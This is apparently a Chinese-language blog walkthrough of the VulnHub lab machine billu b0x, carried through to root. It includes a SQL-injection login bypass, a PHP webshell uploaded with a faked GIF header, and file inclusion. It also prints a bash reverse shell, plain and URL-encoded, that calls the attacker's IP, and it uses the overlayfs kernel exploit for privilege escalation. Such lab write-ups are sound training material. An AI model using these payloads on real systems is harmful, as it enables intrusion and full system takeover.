Code Crafting

There are two equivalence classes of idiots: Those who yearn for the past that never was. AND Those who dream of the future that never will be.

0%

billu b0x靶场渗透提权(超详细)

image-20231024201252834

Vulnhub靶机billu b0x的渗透实战记录,每一步都有详细的思路和操作过程

靶机简介

官方下载地址:https://www.vulnhub.com/entry/billu-b0x,188/

image-20231025014413349

目标是获得靶机root权限。话不多说,直接开始:

进行靶机发现与服务发现

  1. 靶机发现

    使用arp-scan -l命令,扫描出局域网上活动主机信息,发现10.0.2.8疑似靶机ip

    image-20231025011725465

  2. 端口扫描

    对10.0.2.8进行端口扫描,使用nmap命令

    nmap -p- --min-rate=1000 10.0.2.8

    image-20231025011743824

    靶机开启了22端口和80端口

  3. 进一步扫描获取服务细节

    nmap -p 22,80 -sV -sC 10.0.2.8

    image-20231025011808646

    web服务是常见的渗透入口,所以从浏览器访问靶机80端口

web渗透

靶机web服务如下

image-20231025011824734

尝试简单的SQL注入,失败。尝试其他方法

image-20231025011839593

路径暴力破解

使用dirsearch工具对靶机web服务进行路径暴力破解

dirsearch -u http://10.0.2.8

image-20231025011854781

image-20231025011903634

找到其中所有状态码为200和302的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[20:16:31] 200 -  307B  - /add.php
[20:16:31] 200 - 307B - /add
[20:16:41] 200 - 1B - /c
[20:16:50] 200 - 3KB - /head.php
[20:16:51] 200 - 1KB - /images/
[20:16:51] 200 - 47KB - /in
[20:16:51] 200 - 3KB - /index
[20:16:51] 200 - 3KB - /index.php
[20:16:58] 302 - 2KB - /panel -> index.php
[20:16:58] 302 - 2KB - /panel.php -> index.php
[20:17:00] 200 - 8KB - /phpmy/
[20:17:05] 200 - 1B - /show
[20:17:08] 200 - 72B - /test
[20:17:08] 200 - 72B - /test.php

寻找可以利用的东西

访问add.php, head.php, index.php, panel.php, test.php后发现,add页面是上传照片,head是登录界面图片,index是登录页面,panel暂时无法访问(可能是登陆后才能访问的页面),test似乎是执行与文件相关的命令

image-20231025011915320

目前test看起来最有用

利用test.php发现漏洞

尝试给url加上参数看能否访问或执行文件。能访问则是文件下载漏洞,能执行则是文件包含漏洞,后者更好利用。我们试试index.php,因为它与登录有关。

给url直接加参数(使用get请求),没有任何结果

image-20231025011925882

尝试改为post请求

使用BurpSuite拦截请求,在Repeater中修改为post请求并发送

image-20231025011934832

发现成功获得了文件内容。说明有文件下载漏洞,同时也排除了文件包含漏洞。

通过改漏洞查看各php文件内容(此处不需要仔细看,后文提及时再回来看)

  • add.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php

    echo '<form method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name=image>
    <input type=text name=name value="name">
    <input type=text name=address value="address">
    <input type=text name=id value=1337 >
    <input type="submit" value="upload" name="upload">
    </form>';

    ?>
  • index.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    <?php
    session_start();

    include('c.php');
    include('head.php');
    if(@$_SESSION['logged']!=true)
    {
    $_SESSION['logged']='';

    }

    if($_SESSION['logged']==true && $_SESSION['admin']!='')
    {

    echo "you are logged in :)";
    header('Location: panel.php', true, 302);
    }
    else
    {
    echo '<div align=center style="margin:30px 0px 0px 0px;">
    <font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
    <br><br>
    Show me your SQLI skills <br>
    <form method=post>
    Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
    <input type=submit name=login value="let\'s login">';
    }
    if(isset($_POST['login']))
    {
    $uname=str_replace('\'','',urldecode($_POST['un']));
    $pass=str_replace('\'','',urldecode($_POST['ps']));
    $run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
    $result = mysqli_query($conn, $run);
    if (mysqli_num_rows($result) > 0) {

    $row = mysqli_fetch_assoc($result);
    echo "You are allowed<br>";
    $_SESSION['logged']=true;
    $_SESSION['admin']=$row['username'];

    header('Location: panel.php', true, 302);

    }
    else
    {
    echo "<script>alert('Try again');</script>";
    }

    }
    echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";

    ?>
  • head.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    <?php
    session_start();

    include('c.php');
    include('head.php');
    if(@$_SESSION['logged']!=true)
    {
    $_SESSION['logged']='';

    }

    if($_SESSION['logged']==true && $_SESSION['admin']!='')
    {

    echo "you are logged in :)";
    header('Location: panel.php', true, 302);
    }
    else
    {
    echo '<div align=center style="margin:30px 0px 0px 0px;">
    <font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
    <br><br>
    Show me your SQLI skills <br>
    <form method=post>
    Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
    <input type=submit name=login value="let\'s login">';
    }
    if(isset($_POST['login']))
    {
    $uname=str_replace('\'','',urldecode($_POST['un']));
    $pass=str_replace('\'','',urldecode($_POST['ps']));
    $run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
    $result = mysqli_query($conn, $run);
    if (mysqli_num_rows($result) > 0) {

    $row = mysqli_fetch_assoc($result);
    echo "You are allowed<br>";
    $_SESSION['logged']=true;
    $_SESSION['admin']=$row['username'];

    header('Location: panel.php', true, 302);

    }
    else
    {
    echo "<script>alert('Try again');</script>";
    }

    }
    echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";

    ?>
  • panel.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    <?php
    session_start();

    include('c.php');
    include('head2.php');
    if(@$_SESSION['logged']!=true )
    {
    header('Location: index.php', true, 302);
    exit();

    }



    echo "Welcome to billu b0x ";
    echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
    if(isset($_POST['lg']))
    {
    unset($_SESSION['logged']);
    unset($_SESSION['admin']);
    header('Location: index.php', true, 302);
    }
    echo '<hr><br>';

    echo '<form method=post>

    <select name=load>
    <option value="show">Show Users</option>
    <option value="add">Add User</option>
    </select>

    &nbsp<input type=submit name=continue value="continue"></form><br><br>';
    if(isset($_POST['continue']))
    {
    $dir=getcwd();
    $choice=str_replace('./','',$_POST['load']);

    if($choice==='add')
    {
    include($dir.'/'.$choice.'.php');
    die();
    }

    if($choice==='show')
    {

    include($dir.'/'.$choice.'.php');
    die();
    }
    else
    {
    include($dir.'/'.$_POST['load']);
    }

    }


    if(isset($_POST['upload']))
    {

    $name=mysqli_real_escape_string($conn,$_POST['name']);
    $address=mysqli_real_escape_string($conn,$_POST['address']);
    $id=mysqli_real_escape_string($conn,$_POST['id']);

    if(!empty($_FILES['image']['name']))
    {
    $iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
    $r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
    $image=array('jpeg','jpg','gif','png');
    if(in_array($r,$image))
    {
    $finfo = @new finfo(FILEINFO_MIME);
    $filetype = @$finfo->file($_FILES['image']['tmp_name']);
    if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
    {
    if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
    {
    echo "Uploaded successfully ";
    $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
    mysqli_query($conn, $update);

    }
    }
    else
    {
    echo "<br>i told you dear, only png,jpg and gif file are allowed";
    }
    }
    else
    {
    echo "<br>only png,jpg and gif file are allowed";
    }
    }
    }
    ?>
  • test.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    <?php


    function file_download($download)
    {
    if(file_exists($download))
    {
    header("Content-Description: File Transfer");

    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header('Accept-Ranges: bytes');
    header('Content-Disposition: attachment; filename="'.basename($download).'"');
    header('Content-Length: ' . filesize($download));
    header('Content-Type: application/octet-stream');
    ob_clean();
    flush();
    readfile ($download);
    }
    else
    {
    echo "file not found";
    }
    }

    if(isset($_POST['file']))
    {
    file_download($_POST['file']);
    }
    else{

    echo '\'file\' parameter is empty. Please provide file path in \'file\' parameter ';
    }

观察index.php,在登录逻辑中发现如下代码:

1
2
3
4
5
6
7
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);

与登录有关,解析其中的SQL语句,换成标准格式:

select * from auth where pass='$passwd' and uname='$username'

发现可以使用\将单引号转义,从而实现SQL注入

登录界面输入:

1
2
3
username: or 1=1 # 

password: \

注入成功

image-20231025012005293

寻找漏洞

发现并利用文件上传漏洞

登录后发现有一个上传文件的接口(同时也是/add.php的功能,之前路径暴力破解时找到的):

image-20231025012014665

尝试进行一句话木马文件的上传,即在上传的文件中添加<?php system($_GET["cmd"]);?>内容,看能否执行。

上传一句话木马文件

建立getin.php文件,内容为<?php system($_GET["cmd"]);?>, 尝试直接上传,失败。只允许png, jpg, gif文件

image-20231025012059545

有三种检测可能性:

  1. 检测文件后缀

  2. 检测请求中的Content-Type

  3. 对文件内容检测,需要对内容伪造

我们使用burpsuite拦截请求,依次尝试

  1. 将请求中filename后缀修改为png,再次上传。失败

  2. 将Content-Type修改为:image/png,上传,失败

    image-20231025012118779

  3. 对内容进行伪造,在文件内容开头加上一个图形格式的标记 GIF89a;,再次上传,成功!

    image-20231025012129198

测试是否可以执行命令

上传成功后,点击Show Users,查看html内容,发现上传的文件在uploaded_images/下。

拦截Show Users请求

image-20231025012139515

根据请求体以及panel.php的如下内容:

1
2
3
4
5
6
7
8
9
10
if($choice==='show')
{

include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}

可以看出load后的参数是其他的内容,则会直接引用该文件,这为我们执行木马文件提供了机会。

通过burp构建请求:POST /panel.php?cmd=ls HTTP/1.1

请求参数为:load=uploaded_images/getin.png&continue=continue

发送请求,发现成功执行命令

image-20231025012151082

建立反弹shell

将命令修改为echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash,在本机用nc -nvlp 3333监听3333端口。发送请求

但是发现并未成功建立反弹shell。可以想到是因为请求url里有空格导致命令没有被正确传递

考虑使用url16进制编码解决空格的问题。加密后是没有空格的,并且后端会自动解码。先用几个简单的命令进行测试,发现可行。于是对上述命令进行编码,得到结果:

1
%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31%22%20%7c%20%62%61%73%68

用该内容替换命令,然后再次发送请求

image-20231025012210380

发现成功建立反弹shell

image-20231025012221926

这里遇到一个问题,编码echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash后发送请求可以成功建立反弹shell。但如果编码bash -i >& /dev/tcp/10.0.2.15/3333 0>&1命令,就无法建立反弹shell。目前还未搞懂是为什么。

命令及其编码如下

1
2
3
4
5
echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash
%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31%22%20%7c%20%62%61%73%68

bash -i >& /dev/tcp/10.0.2.15/3333 0>&1
%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31

提权

uname -a 命令查看Linux版本

image-20231025012233079

在kali上使用searchsploit查找漏洞(与exploit-db网站上是一样的)

searchsploit Kernel 3.13.0

得到众多结果

image-20231025012243393

从中找到可能有用的,进行尝试。下面这个最可能有用

1
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escala | linux/local/37292.c

searchsploit -m 37292 命令将该文件拷贝到当前目录

kali用python开启web服务

image-20231025012255798

用反弹shell在靶机上进入/tmp目录(该目录下所有用户都有写权限,避免权限不足),下载该文件,在靶机上编译并运行(需要靶机上有gcc,刚好该靶机上有)

image-20231025012306742

image-20231025012317474

成功获得root权限!

补充1:建立反弹shell的另一种方式

还有一种方式是使用直接建立反弹shell的php文件

使用Kali Linux的/usr/share/webshells/php/php-reverse-shell.php文件,修改文件中的目标ip为kali的ip,重复文件上传方法(这里将文件名修改为了in.png),上传到靶机上

在kali上监听1234端口 nc -nvlp 1234

拦截Show Users请求,将load行修改为:

load=uploaded_images/in.png&continue=continue

发送请求后,成功建立反弹shell

image-20231025012332625

补充2:美化reverse shell

如果靶机上有python,可以在建立反弹shell后输入python -c "import pty; pty.spawn('/bin/bash')"命令,美化shell。如果有命令终端回显,可以使用stty raw -echo进制回显。

美化前:

image-20231025012342590

美化后:

image-20231025012354359